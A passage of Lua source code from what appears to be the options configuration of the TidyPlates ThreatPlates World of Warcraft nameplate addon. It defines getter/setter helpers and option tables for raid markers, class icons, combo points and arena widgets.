t.Print("We're unable to change this while in combat", true)
else
SetCVar(info.arg, value)
Addon:ForceUpdate()
end
end
local function SetCVarBoolTPTP(info, value)
if InCombatLockdown() then
t.Print("We're unable to change this while in combat", true)
else
if type(info) == "table" then
info = info.arg
end
SetCVar(info, (value and 1) or 0)
Addon:ForceUpdate()
end
end
local function SyncGameSettings(info, val)
if InCombatLockdown() then
t.Print("We're unable to change this while in combat", true)
else
SetValue(info, val)
TidyPlatesThreat:PLAYER_REGEN_ENABLED()
end
end
local function SyncGameSettingsWorld(info, val)
if InCombatLockdown() then
t.Print("We're unable to change this while in combat", true)
else
SetValue(info, val)
local isInstance, instanceType = IsInInstance()
if isInstance then
TidyPlatesThreat:PLAYER_ENTERING_WORLD()
end
end
end
-- Colors
local function GetColor(info)
local DB = TidyPlatesThreat.db.profile
local value = DB
local keys = info.arg
for index = 1, #keys do
value = value[keys[index]]
end
return value.r, value.g, value.b
end
local function SetColor(info, r, g, b)
local DB = TidyPlatesThreat.db.profile
local keys = info.arg
for index = 1, #keys - 1 do
DB = DB[keys[index]]
end
DB[keys[#keys]].r, DB[keys[#keys]].g, DB[keys[#keys]].b = r, g, b
Addon:ForceUpdate()
end
local function GetColorAlpha(info)
local DB = TidyPlatesThreat.db.profile
local value = DB
local keys = info.arg
for index = 1, #keys do
value = value[keys[index]]
end
return value.r, value.g, value.b, value.a
end
local function SetColorAlpha(info, r, g, b, a)
local DB = TidyPlatesThreat.db.profile
local keys = info.arg
for index = 1, #keys - 1 do
DB = DB[keys[index]]
end
DB[keys[#keys]].r, DB[keys[#keys]].g, DB[keys[#keys]].b, DB[keys[#keys]].a = r, g, b, a
Addon:ForceUpdate()
end
local function GetUnitVisibilitySetting(info)
local unit_type = info.arg
local unit_visibility = TidyPlatesThreat.db.profile.Visibility[unit_type].Show
if type(unit_visibility) ~= "boolean" then
unit_visibility = GetCVarBool(unit_visibility)
end
return unit_visibility
end
local function SetUnitVisibilitySetting(info, value)
local unit_type = info.arg
local unit_visibility = TidyPlatesThreat.db.profile.Visibility[unit_type]
if type(unit_visibility.Show) == "boolean" then
unit_visibility.Show = value
else
SetCVarBoolTPTP(unit_visibility.Show, value)
end
Addon:ForceUpdate()
end
-- Set Theme Values
local function SetThemeValue(info, val)
SetValuePlain(info, val)
Addon:SetThemes(TidyPlatesThreat)
-- Update TargetArt widget as it depends on some settings of customtext and name
if info.arg[1] == "HeadlineView" and (info.arg[2] == "customtext" or info.arg[2] == "name") and (info.arg[3] == "y" or info.arg[3] == "size") then
Addon.Widgets:UpdateSettings("TargetArt")
end
Addon:ForceUpdate()
end
local function GetFontFlags(settings, flag)
local db_font = db
for i = 1, #settings do
db_font = db_font[settings[i]]
end
if flag == "Thick" then
return string.find(db_font, "^THICKOUTLINE")
elseif flag == "Outline" then
return string.find(db_font, "^OUTLINE")
else --if flag == "Mono" then
return string.find(db_font, "MONOCHROME$")
end
end
local function SetFontFlags(settings, flag, val)
if flag == "Thick" then
local outline = (val and "THICKOUTLINE") or (GetFontFlags(settings, "Outline") and "OUTLINE") or "NONE"
local mono = (GetFontFlags(settings, "Mono") and ", MONOCHROME") or ""
return outline .. mono
elseif flag == "Outline" then
local outline = (val and "OUTLINE") or (GetFontFlags(settings, "Thick") and "THICKOUTLINE") or "NONE"
local mono = (GetFontFlags(settings, "Mono") and ", MONOCHROME") or ""
return outline .. mono
else -- flag = "Mono"
local outline = (GetFontFlags(settings, "Thick") and "THICKOUTLINE") or (GetFontFlags(settings, "Outline") and "OUTLINE") or "NONE"
local mono = (val and ", MONOCHROME") or ""
return outline .. mono
end
end
-- Set widget values
-- Key is key from options data structure for the widget, value is widget name as used in NewWidget
local MAP_OPTION_TO_WIDGET = {
ComboPointsWidget = "ComboPoints",
ResourceWidget = "Resource",
AurasWidget = "Auras",
TargetArtWidget = "TargetArt",
ArenaWidget = "Arena",
}
local function SetValueWidget(info, val)
SetValuePlain(info, val)
Addon.Widgets:UpdateSettings(MAP_OPTION_TO_WIDGET[info[2]])
end
local function SetColorWidget(info, r, g, b, a)
local DB = TidyPlatesThreat.db.profile
local keys = info.arg
for index = 1, #keys - 1 do
DB = DB[keys[index]]
end
DB[keys[#keys]].r, DB[keys[#keys]].g, DB[keys[#keys]].b = r, g, b
Addon.Widgets:UpdateSettings(MAP_OPTION_TO_WIDGET[info[2]])
end
local function SetColorAlphaWidget(info, r, g, b, a)
local DB = TidyPlatesThreat.db.profile
local keys = info.arg
for index = 1, #keys - 1 do
DB = DB[keys[index]]
end
DB[keys[#keys]].r, DB[keys[#keys]].g, DB[keys[#keys]].b, DB[keys[#keys]].a = r, g, b, a
Addon.Widgets:UpdateSettings(MAP_OPTION_TO_WIDGET[info[2]])
end
---------------------------------------------------------------------------------------------------
-- Functions to create the options dialog
---------------------------------------------------------------------------------------------------
function Addon:SetCVarsForOcclusionDetection()
Addon.CVars:Set("nameplateMinAlpha", 1)
Addon.CVars:Set("nameplateMaxAlpha", 1)
-- Create enough separation between occluded and not occluded nameplates, even for targeted units
local occluded_alpha_mult = tonumber(GetCVar("nameplateOccludedAlphaMult"))
if occluded_alpha_mult > 0.9 then
occluded_alpha_mult = 0.9
Addon.CVars:Set("nameplateOccludedAlphaMult", occluded_alpha_mult)
end
local selected_alpha = tonumber(GetCVar("nameplateSelectedAlpha"))
if not selected_alpha or (selected_alpha < occluded_alpha_mult + 0.1) then
selected_alpha = occluded_alpha_mult + 0.1
Addon.CVars:Set("nameplateSelectedAlpha", selected_alpha)
end
end
---------------------------------------------------------------------------------------------------
-- Functions to create the options dialog
---------------------------------------------------------------------------------------------------
local function GetDescriptionEntry(text)
return {
name = text,
order = 0,
type = "description",
width = "full",
}
end
local function GetSpacerEntry(pos)
return {
name = "",
order = pos,
type = "description",
width = "full",
}
end
local function GetColorEntry(entry_name, pos, setting)
return {
name = entry_name,
order = pos,
type = "color",
arg = setting,
get = GetColor,
set = SetColor,
hasAlpha = false,
}
end
local function GetColorAlphaEntry(pos, setting, disabled_func)
return {
name = L["Color"],
order = pos,
type = "color",
width = "half",
arg = setting,
get = GetColorAlpha,
set = SetColorAlpha,
hasAlpha = true,
disabled = disabled_func
}
end
local function GetEnableEntry(entry_name, description, widget_info, enable_hv, func_set)
local entry = {
name = entry_name,
order = 5,
type = "group",
inline = true,
set = func_set,
args = {
Header = {
name = description,
order = 1,
type = "description",
width = "full",
},
Enable = {
name = L["Show in Healthbar View"],
order = 2,
type = "toggle",
width = "double",
arg = { widget_info, "ON" },
},
-- EnableHV = {
-- name = L["Show in Headline View"],
-- order = 3,
-- type = "toggle",
-- width = "double",
-- arg = { widget_info, "ShowInHeadlineView" },
-- },
},
}
if enable_hv then
entry.args.EnableHV = {
name = L["Show in Headline View"],
order = 3,
type = "toggle",
width = "double",
arg = { widget_info, "ShowInHeadlineView" },
}
end
return entry
end
local function GetEnableEntryTheme(entry_name, description, widget_info)
local entry = {
name = L["Enable"],
order = 5,
type = "group",
inline = true,
args = {
Header = {
name = description,
order = 1,
type = "description",
width = "full",
},
Enable = {
name = entry_name,
order = 2,
type = "toggle",
width = "double",
set = SetThemeValue,
arg = { "settings", widget_info, "show" },
},
},
}
return entry
end
local function GetRangeEntry(name, pos, setting, min, max, set_func)
local entry = {
name = name,
order = pos,
type = "range",
step = 1,
softMin = min,
softMax = max,
set = set_func,
arg = setting,
}
return entry
end
local function GetSizeEntry(name, pos, setting, func_disabled)
local entry = {
name = name,
order = pos,
type = "range",
step = 1,
softMin = 1,
softMax = 100,
arg = setting,
disabled = func_disabled,
}
return entry
end
local function GetSizeEntryDefault(pos, setting, func_disabled)
return GetSizeEntry(L["Size"], pos, { setting, "scale" }, func_disabled)
end
local function GetSizeEntryTheme(pos, setting)
return GetSizeEntry(L["Size"], pos, { "settings", setting, "scale" })
end
local function GetScaleEntry(name, pos, setting, func_disabled, min_value, max_value)
min_value = min_value or 0.3
max_value = max_value or 2.0
local entry = {
name = name,
order = pos,
type = "range",
step = 0.05,
min = min_value,
max = max_value,
isPercent = true,
arg = setting,
disabled = func_disabled,
}
return entry
end
local function GetScaleEntryDefault(pos, setting, func_disabled)
return GetScaleEntry(L["Scale"], pos, setting, func_disabled)
end
local function GetScaleEntryOffset(pos, setting, func_disabled)
return GetScaleEntry(L["Scale"], pos, setting, func_disabled, -1.7, 2.0)
end
local function GetScaleEntryWidget(name, pos, setting, func_disabled)
local entry = GetScaleEntry(name, pos, setting, func_disabled)
entry.width = "full"
return entry
end
local function GetScaleEntryThreat(name, pos, setting, func_disabled)
return GetScaleEntry(name, pos, setting, func_disabled, -1.7, 2.0)
end
local function GetAnchorEntry(pos, setting, anchor, func_disabled)
local entry = {
name = L["Anchor Point"],
order = pos,
type = "select",
values = Addon.ANCHOR_POINT,
arg = { setting, "anchor" },
disabled = func_disabled,
}
return entry
end
local function GetTransparencyEntry(name, pos, setting, func_disabled, lower_limit)
local min_value = (lower_limit and -1) or 0
local entry = {
name = name,
order = pos,
type = "range",
step = 0.05,
min = min_value,
max = 1,
isPercent = true,
set = function(info, val) SetValue(info, abs(val - 1)) end,
get = function(info) return 1 - GetValue(info) end,
arg = setting,
disabled = func_disabled,
}
return entry
end
local function GetTransparencyEntryOffset(pos, setting, func_disabled)
return GetTransparencyEntry(L["Transparency"], pos, setting, func_disabled, true)
end
local function GetTransparencyEntryDefault(pos, setting, func_disabled)
return GetTransparencyEntry(L["Transparency"], pos, setting, func_disabled)
end
local function GetTransparencyEntryWidget(pos, setting, func_disabled)
return GetTransparencyEntry(L["Transparency"], pos, { setting, "alpha" }, func_disabled)
end
local function GetTransparencyEntryThreat(name, pos, setting, func_disabled)
return GetTransparencyEntry(name, pos, setting, func_disabled, true)
end
local function GetTransparencyEntryWidgetNew(pos, setting, func_disabled)
local entry = GetTransparencyEntry(L["Transparency"], pos, setting, func_disabled)
entry.set = function(info, val) SetValueWidget(info, abs(val - 1)) end
return entry
end
local function GetPlacementEntry(name, pos, setting)
local entry = {
name = name,
order = pos,
type = "range",
min = -120,
max = 120,
step = 1,
arg = setting,
}
return entry
end
local function GetPlacementEntryTheme(pos, setting, hv_mode)
local x_name, y_name
if hv_mode == true then
x_name = L["Healthbar View X"]
y_name = L["Healthbar View Y"]
else
x_name = L["X"]
y_name = L["Y"]
end
local entry = {
name = L["Placement"],
order = pos,
type = "group",
set = SetThemeValue,
args = {
X = { type = "range", order = 1, name = L["X"], min = -120, max = 120, step = 1, arg = { "settings", setting, "x" } },
Y = { type = "range", order = 2, name = L["Y"], min = -120, max = 120, step = 1, arg = { "settings", setting, "y" } }
}
}
if hv_mode then
entry.args.HeadlineViewX = { type = "range", order = 3, name = L["Headline View X"], min = -120, max = 120, step = 1, arg = { "settings", setting, "x_hv" } }
entry.args.HeadlineViewY = { type = "range", order = 4, name = L["Headline View Y"], min = -120, max = 120, step = 1, arg = { "settings", setting, "y_hv" } }
end
return entry
end
local function GetPlacementEntryWidget(pos, widget_info, hv_mode)
local x_name, y_name
if hv_mode == true then
x_name = L["Healthbar View X"]
y_name = L["Healthbar View Y"]
else
x_name = L["X"]
y_name = L["Y"]
end
local entry = {
name = L["Placement"],
order = pos,
type = "group",
inline = true,
args = {
HealthbarX = { type = "range", order = 1, name = x_name, min = -120, max = 120, step = 1, arg = { widget_info, "x" } },
HealthbarY = { type = "range", order = 2, name = y_name, min = -120, max = 120, step = 1, arg = { widget_info, "y" } },
}
}
if hv_mode then
entry.args.HeadlineViewX = { type = "range", order = 3, name = L["Headline View X"], min = -120, max = 120, step = 1, arg = { widget_info, "x_hv" } }
entry.args.HeadlineViewY = { type = "range", order = 4, name = L["Headline View Y"], min = -120, max = 120, step = 1, arg = { widget_info, "y_hv" } }
end
return entry
end
local function GetWidgetOffsetEntry(pos, widget_info)
-- local func_healthbar = function() return not db[widget_info].ON end
-- local func_headlineview = function() return not (db[widget_info].ON and db[widget_info].ShowInHeadlineView) end
local entry = {
name = L["Offset"],
order = pos,
type = "group",
inline = true,
args = {
HealthbarX = { type = "range", order = 1, name = L["Healthbar View X"], min = -120, max = 120, step = 1, arg = { widget_info, "x" } },
HealthbarY = { type = "range", order = 2, name = L["Healthbar View Y"], min = -120, max = 120, step = 1, arg = { widget_info, "y" } },
HeadlineViewX = { type = "range", order = 3, name = L["Headline View X"], min = -120, max = 120, step = 1, arg = { widget_info, "x_hv" } },
HeadlineViewY = { type = "range", order = 4, name = L["Headline View Y"], min = -120, max = 120, step = 1, arg = { widget_info, "y_hv" } },
}
}
return entry
end
local function GetLayoutEntry(pos, widget_info, hv_mode)
local entry = {
name = L["Layout"],
order = pos,
type = "group",
inline = true,
args = {
Size = GetSizeEntryDefault(10, widget_info),
Placement = GetPlacementEntryWidget(20, widget_info, hv_mode),
},
}
return entry
end
local function GetLayoutEntryTheme(pos, widget_info, hv_mode)
local entry = {
name = L["Layout"],
order = pos,
type = "group",
inline = true,
args = {
Size = GetSizeEntryTheme(10, widget_info),
Placement = GetPlacementEntryTheme(20, widget_info, hv_mode),
},
}
return entry
end
local function GetFontEntryTheme(pos, widget_info, func_disabled)
local entry = {
name = L["Font"],
type = "group",
inline = true,
order = pos,
disabled = func_disabled,
args = {
Font = {
name = L["Typeface"],
order = 10,
type = "select",
dialogControl = "LSM30_Font",
values = AceGUIWidgetLSMlists.font,
set = SetThemeValue,
arg = { "settings", widget_info, "typeface" },
},
Size = {
name = L["Size"],
order = 20,
type = "range",
set = SetThemeValue,
arg = { "settings", widget_info, "size" },
max = 36,
min = 6,
step = 1,
isPercent = false,
},
Spacer = GetSpacerEntry(35),
Outline = {
name = L["Outline"],
order = 40,
type = "toggle",
desc = L["Add black outline."],
set = function(info, val) SetThemeValue(info, SetFontFlags({ "settings", widget_info, "flags" }, "Outline", val)) end,
get = function(info) return GetFontFlags({ "settings", widget_info, "flags" }, "Outline") end,
arg = { "settings", widget_info, "flags" },
},
Thick = {
name = L["Thick"],
order = 41,
type = "toggle",
desc = L["Add thick black outline."],
set = function(info, val) SetThemeValue(info, SetFontFlags({ "settings", widget_info, "flags" }, "Thick", val)) end,
get = function(info) return GetFontFlags({ "settings", widget_info, "flags" }, "Thick") end,
arg = { "settings", widget_info, "flags" },
},
Mono = {
name = L["Mono"],
order = 42,
type = "toggle",
desc = L["Render font without antialiasing."],
set = function(info, val) SetThemeValue(info, SetFontFlags({ "settings", widget_info, "flags" }, "Mono", val)) end,
get = function(info) return GetFontFlags({ "settings", widget_info, "flags" }, "Mono") end,
arg = { "settings", widget_info, "flags" },
},
Shadow = {
name = L["Shadow"],
order = 43,
type = "toggle",
desc = L["Show shadow with text."],
set = SetThemeValue,
arg = { "settings", widget_info, "shadow" },
},
},
}
return entry
end
local function GetFontEntry(name, pos, widget_info)
local entry = GetFontEntryTheme(pos, widget_info)
entry.name = name
return entry
end
-- Syntax for settings:
-- Font = {
-- Typeface = Addon.DEFAULT_SMALL_FONT,
-- Size = 10,
-- Transparency = 1,
-- Color = RGB(255, 255, 255),
-- flags = "OUTLINE",
-- Shadow = true,
-- HorizontalAlignment = "CENTER",
-- VerticalAlignment = "CENTER",
-- },
local function GetFontEntryDefault(name, pos, widget_info, func_disabled)
widget_info = Addon.ConcatTables(widget_info, { "Font" } )
-- Check if certain configuration options should be shown:
local entry_transparency, entry_color
if CheckIfValueExists(widget_info, { "Transparency" } ) then
entry_transparency = GetTransparencyEntryDefault(30, Addon.ConcatTables(widget_info, { "Transparency" }) )
end
if CheckIfValueExists(widget_info, { "Color" } ) then
entry_color = GetColorEntry(L["Color"], 40, Addon.ConcatTables(widget_info, { "Color" }) )
end
local entry = {
type = "group",
order = pos,
name = name,
inline = true,
disabled = func_disabled,
args = {
Font = {
name = L["Typeface"],
order = 10,
type = "select",
dialogControl = "LSM30_Font",
values = AceGUIWidgetLSMlists.font,
arg = Addon.ConcatTables(widget_info, { "Typeface" }),
},
Size = {
name = L["Font Size"],
order = 20,
type = "range",
arg = Addon.ConcatTables(widget_info, { "Size" }),
max = 36,
min = 6,
step = 1,
isPercent = false,
},
Transparency = entry_transparency,
Color = entry_color,
Spacer = GetSpacerEntry(100),
Outline = {
name = L["Outline"],
order = 101,
type = "toggle",
desc = L["Add black outline."],
width = "half",
set = function(info, val) SetValueWidget(info, SetFontFlags(Addon.ConcatTables(widget_info, { "flags" }), "Outline", val)) end,
get = function(info) return GetFontFlags(Addon.ConcatTables(widget_info, { "flags" }), "Outline") end,
arg = Addon.ConcatTables(widget_info, { "flags" }),
},
Thick = {
name = L["Thick"],
order = 102,
type = "toggle",
desc = L["Add thick black outline."],
width = "half",
set = function(info, val) SetValueWidget(info, SetFontFlags(Addon.ConcatTables(widget_info, { "flags" }), "Thick", val)) end,
get = function(info) return GetFontFlags(Addon.ConcatTables(widget_info, { "flags" }), "Thick") end,
arg = Addon.ConcatTables(widget_info, { "flags" }),
},
Mono = {
name = L["Mono"],
order = 103,
type = "toggle",
desc = L["Render font without antialiasing."],
width = "half",
set = function(info, val) SetValueWidget(info, SetFontFlags(Addon.ConcatTables(widget_info, { "flags" }), "Mono", val)) end,
get = function(info) return GetFontFlags(Addon.ConcatTables(widget_info, { "flags" }), "Mono") end,
arg = Addon.ConcatTables(widget_info, { "flags" }),
},
Shadow = {
name = L["Shadow"],
order = 104,
type = "toggle",
desc = L["Show shadow with text."],
width = "half",
arg = Addon.ConcatTables(widget_info, { "Shadow" }),
},
},
}
if entry_color then
entry.args.Color.set = SetColorWidget
entry.args.Color.width = "half"
end
if entry_transparency then
entry.args.Transparency.set = function(info, val) SetValueWidget(info, abs(val - 1)) end
end
return entry
end
local function GetBoundariesEntry(pos, widget_info, func_disabled)
local entry = {
name = L["Text Boundaries"],
order = pos,
type = "group",
inline = true,
disabled = func_disabled,
args = {
Description = {
type = "description",
order = 1,
name = L["These settings will define the space that text can be placed on the nameplate. Having too large a font and not enough height will cause the text to be not visible."],
width = "full",
},
Width = { type = "range", width = "double", order = 2, name = L["Text Width"], set = SetThemeValue, arg = { "settings", widget_info, "width" }, max = 250, min = 20, step = 1, isPercent = false, },
Height = { type = "range", width = "double", order = 3, name = L["Text Height"], set = SetThemeValue, arg = { "settings", widget_info, "height" }, max = 40, min = 8, step = 1, isPercent = false, },
},
}
return entry
end
local function GetBoundariesEntryName(name, pos, widget_info, func_disabled)
local entry = GetBoundariesEntry(pos, widget_info, func_disabled)
entry.name = name
return entry
end
local function AddLayoutOptions(args, pos, widget_info)
args.Sizing = GetSizeEntryDefault(pos, widget_info)
args.Alpha = GetTransparencyEntryWidget(pos + 10, widget_info)
args.Placement = GetPlacementEntryWidget(pos + 20, widget_info, true)
end
local function CreateRaidMarksOptions()
local options = {
name = L["Target Markers"],
type = "group",
order = 130,
set = SetThemeValue,
args = {
Enable = {
name = L["Enable"],
order = 5,
type = "group",
inline = true,
args = {
Header = {
name = L["These options allow you to control whether target marker icons are hidden or shown on nameplates and whether a nameplate's healthbar (in healthbar view) or name (in headline view) are colored based on target markers."],
order = 1,
type = "description",
width = "full",
},
Enable = {
name = L["Show in Healthbar View"],
order = 2,
type = "toggle",
width = "double",
arg = { "settings", "raidicon", "show" },
},
EnableHV = {
name = L["Show in Headline View"],
order = 3,
type = "toggle",
descStyle = "inline",
width = "double",
arg = {"settings", "raidicon", "ShowInHeadlineView" },
},
EnableHealthbarView = {
name = L["Color Healthbar by Target Marks in Healthbar View"],
order = 4,
type = "toggle",
width = "double",
set = SetValue,
get = GetValue,
arg = { "settings", "raidicon", "hpColor" },
},
EnableHeadlineView = {
name = L["Color Name by Target Marks in Headline View"],
order = 5,
type = "toggle",
width = "double",
set = SetValue,
get = GetValue,
arg = { "HeadlineView", "UseRaidMarkColoring" },
},
},
},
Layout = GetLayoutEntryTheme(10, "raidicon", true),
Coloring = {
name = L["Colors"],
order = 20,
type = "group",
inline = true,
get = GetColor,
set = SetColor,
args = {
STAR = {
type = "color",
order = 30,
name = RAID_TARGET_1,
arg = { "settings", "raidicon", "hpMarked", "STAR" },
},
CIRCLE = {
type = "color",
order = 31,
name = RAID_TARGET_2,
arg = { "settings", "raidicon", "hpMarked", "CIRCLE" },
},
DIAMOND = {
type = "color",
order = 32,
name = RAID_TARGET_3,
arg = { "settings", "raidicon", "hpMarked", "DIAMOND" },
},
TRIANGLE = {
type = "color",
order = 33,
name = RAID_TARGET_4,
arg = { "settings", "raidicon", "hpMarked", "TRIANGLE" },
},
MOON = {
type = "color",
order = 34,
name = RAID_TARGET_5,
arg = { "settings", "raidicon", "hpMarked", "MOON" },
},
SQUARE = {
type = "color",
order = 35,
name = RAID_TARGET_6,
arg = { "settings", "raidicon", "hpMarked", "SQUARE" },
},
CROSS = {
type = "color",
order = 36,
name = RAID_TARGET_7,
arg = { "settings", "raidicon", "hpMarked", "CROSS" },
},
SKULL = {
type = "color",
order = 37,
name = RAID_TARGET_8,
arg = { "settings", "raidicon", "hpMarked", "SKULL" },
},
},
},
},
}
return options
end
local function CreateClassIconsWidgetOptions()
local options = { name = L["Class Icon"], order = 30, type = "group",
args = {
Enable = GetEnableEntry(L["Enable Class Icon Widget"], L["This widget shows a class icon on the nameplates of players."], "classWidget", true, function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("ClassIcon") end),
Options = {
name = L["Show For"],
type = "group",
inline = true,
order = 40,
-- disabled = function() return not db.classWidget.ON end,
args = {
FriendlyClass = {
name = L["Friendly Units"],
order = 1,
type = "toggle",
descStyle = "inline",
width = "double",
arg = { "friendlyClassIcon" },
},
HostileClass = {
name = L["Hostile Units"],
order = 2,
type = "toggle",
descStyle = "inline",
width = "double",
arg = { "HostileClassIcon" },
},
-- FriendlyCaching = {
-- name = L"Friendly Caching"],
-- type = "toggle",
-- desc = L"This allows you to save friendly player class information between play sessions or nameplates going off the screen.|cffff0000(Uses more memory)"],
-- descStyle = "inline",
-- width = "full",
---- disabled = function() if not db.friendlyClassIcon or not db.classWidget.ON then return true else return false end end,
-- arg = { "cacheClass" }
-- },
},
},
Textures = {
name = L["Textures"],
type = "group",
inline = true,
order = 30,
-- disabled = function() return not db.classWidget.ON end,
args = {},
},
Layout = GetLayoutEntry(40, "classWidget", true),
}
}
return options
end
local function CreateComboPointsWidgetOptions()
local options = {
name = L["Combo Points"],
type = "group",
order = 50,
set = SetValueWidget,
args = {
Enable = GetEnableEntry(L["Enable Combo Points Widget"], L["This widget shows your combo points on your target nameplate."], "ComboPoints", true, function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("ComboPoints") end),
Appearance = {
name = L["Appearance"],
type = "group",
order = 20,
inline = true,
args = {
Style = {
name = L["Style"],
type = "select",
order = 10,
values = {
Squares = L["Squares"],
Orbs = L["Orbs"],
Blizzard = L["Blizzard"]
},
arg = { "ComboPoints", "Style" },
},
EmptyCPs = {
name = L["On & Off"],
order = 20,
type = "toggle",
desc = L["In combat, always show all combo points no matter if they are on or off. Off combo points are shown greyed-out."],
arg = { "ComboPoints", "ShowOffCPs" },
},
},
},
-- Preview = {
-- name = L["Preview"],
-- type = "group",
-- order = 25,
-- inline = true,
-- args = {
-- PreviewOn = {
-- name = L["On Combo Point"],
-- order = 10,
-- type = "execute",
-- image = function()
-- local texture = CreateFrame("Frame"):CreateTexture()
-- local width, height
-- if db.ComboPoints.Style == "Squares" then
-- texture:SetTexture("Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\ComboPointsWidget\\ComboPointDefaultOff")
-- width, height = 64, 32
-- elseif db.ComboPoints.Style == "Orbs" then
-- texture:SetTexture("Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\ComboPointsWidget\\ComboPointOrbOff")
-- width, height = 32, 32
-- else
-- texture:SetAtlas("Warlock-EmptyShard")
-- width, height = 32, 32
-- end
-- local color = db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][1]
-- texture:SetVertexColor(color.r, color.g, color.b)
-- return texture:GetTexture(), width, height
-- end,
-- imageCoords = function()
-- if db.ComboPoints.Style == "Squares" then
-- return { 0, 62 / 128, 0, 34 / 64 }
-- elseif db.ComboPoints.Style == "Orbs" then
-- return { 2/64, 62/64, 2/64, 62/64 }
-- else
-- return { 0, 1, 0, 1 }
-- end
-- end,
-- },
-- PreviewOffCP = {
-- name = L["Off Combo Point"],
-- order = 20,
-- type = "execute",
-- image = function()
-- local texture = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\ComboPointsWidget\\"
-- if db.ComboPoints.Style == "Squares" then
-- return texture .. "ComboPointDefaultOff", 64, 32
-- elseif db.ComboPoints.Style == "Orbs" then
-- return texture .. "ComboPointOrbOff", 32, 32
-- else
-- local texture_frame = CreateFrame("Frame"):CreateTexture()
-- texture_frame:SetAtlas("Warlock-EmptyShard")
-- print(texture_frame:GetTexCoord())
-- return texture_frame:GetTexture()
-- end
-- end,
-- imageCoords = function()
-- if db.ComboPoints.Style == "Squares" then
-- return { 0, 62 / 128, 0, 34 / 64 }
-- elseif db.ComboPoints.Style == "Orbs" then
-- return { 2/64, 62/64, 2/64, 62/64 }
-- else
-- return { 0, 1, 0, 1 }
-- end
-- end,
-- },
-- },
-- },
Coloring = {
name = L["Coloring"],
type = "group",
order = 40,
inline = true,
args = {
ClassAndSpec = {
name = L["Specialization"],
type = "select",
order = 10,
values = {
DEATHKNIGHT = L["Death Knight"],
DRUID = L["Druid"],
MAGE = L["Arcane Mage"],
MONK = L["Windwalker Monk"],
PALADIN = L["Retribution Paladin"],
ROGUE = L["Rogue"],
WARLOCK = L["Warlock"],
},
arg = { "ComboPoints", "Specialization" },
},
SameColor = {
name = L["Uniform Color"],
order = 20,
type = "toggle",
desc = L["Use the same color for all combo points shown."],
arg = { "ComboPoints", "UseUniformColor" },
},
Spacer1 = GetSpacerEntry(100),
Color1CP = {
name = L["One"],
type = "color",
order = 110,
get = function(info)
local color = db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][1]
return color.r, color.g, color.b
end,
set = function(info, r, g, b)
db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][1] = t.RGB(r * 255, g * 255, b * 255)
Addon.Widgets:UpdateSettings(MAP_OPTION_TO_WIDGET[info[2]])
end,
hasAlpha = false,
},
Color2CP = {
name = L["Two"],
type = "color",
order = 120,
get = function(info)
local color = db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][2]
return color.r, color.g, color.b
end,
set = function(info, r, g, b)
db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][2] = t.RGB(r * 255, g * 255, b * 255)
Addon.Widgets:UpdateSettings(MAP_OPTION_TO_WIDGET[info[2]])
end,
hasAlpha = false,
},
Color3CP = {
name = L["Three"],
type = "color",
order = 130,
get = function(info)
local color = db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][3]
return color.r, color.g, color.b
end,
set = function(info, r, g, b)
db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][3] = t.RGB(r * 255, g * 255, b * 255)
Addon.Widgets:UpdateSettings(MAP_OPTION_TO_WIDGET[info[2]])
end,
hasAlpha = false,
},
Color4CP = {
name = L["Four"],
type = "color",
order = 140,
get = function(info)
local color = db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][4]
return color.r, color.g, color.b
end,
set = function(info, r, g, b)
db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][4] = t.RGB(r * 255, g * 255, b * 255)
Addon.Widgets:UpdateSettings(MAP_OPTION_TO_WIDGET[info[2]])
end,
hasAlpha = false,
},
Color5CP = {
name = L["Five"],
type = "color",
order = 150,
get = function(info)
local color = db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][5] or t.RGB(0, 0, 0)
return color.r, color.g, color.b
end,
set = function(info, r, g, b)
db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][5] = t.RGB(r * 255, g * 255, b * 255)
Addon.Widgets:UpdateSettings(MAP_OPTION_TO_WIDGET[info[2]])
end,
hasAlpha = false,
disabled = function() return #db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization] < 5 end
},
Color6CP = {
name = L["Six"],
type = "color",
order = 160,
get = function(info)
local color = db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][6] or t.RGB(0, 0, 0)
return color.r, color.g, color.b
end,
set = function(info, r, g, b)
db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization][6] = t.RGB(r * 255, g * 255, b * 255)
Addon.Widgets:UpdateSettings(MAP_OPTION_TO_WIDGET[info[2]])
end,
hasAlpha = false,
disabled = function() return #db.ComboPoints.ColorBySpec[db.ComboPoints.Specialization] < 6 end
},
},
},
Layout = {
name = L["Layout"],
order = 60,
type = "group",
inline = true,
args = {
SpacingX = {
name = L["Spacing"],
order = 10,
type = "range",
min = 0,
max = 100,
step = 1,
arg = { "ComboPoints", "HorizontalSpacing" },
},
Scale = GetScaleEntry(L["Scale"], 20, { "ComboPoints", "Scale" }),
Transparency = GetTransparencyEntryWidgetNew(30, { "ComboPoints", "Transparency" } ),
Placement = GetPlacementEntryWidget(40, "ComboPoints", true),
},
},
DKRuneCooldown= {
name = L["Death Knigh Rune Cooldown"],
order = 70,
type = "group",
inline = true,
args = {
Enable = {
name = L["Enable"],
order = 10,
type = "toggle",
arg = { "ComboPoints", "RuneCooldown", "Show" },
},
Font = GetFontEntryDefault(L["Font"], 20, { "ComboPoints", "RuneCooldown" } )
},
},
},
}
return options
end
local function CreateArenaWidgetOptions()
local options = {
name = L["Arena"],
type = "group",
order = 10,
set = SetValueWidget,
args = {
Enable = GetEnableEntry(L["Enable Arena Widget"], L["This widget shows various icons (orbs and numbers) on enemy nameplates in arenas for easier differentiation."], "arenaWidget", false, function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("Arena") end),
Orbs = {
name = L["Arena Orb"],
type = "group",
inline = true,
order = 10,
args = {
EnableOrbs = {
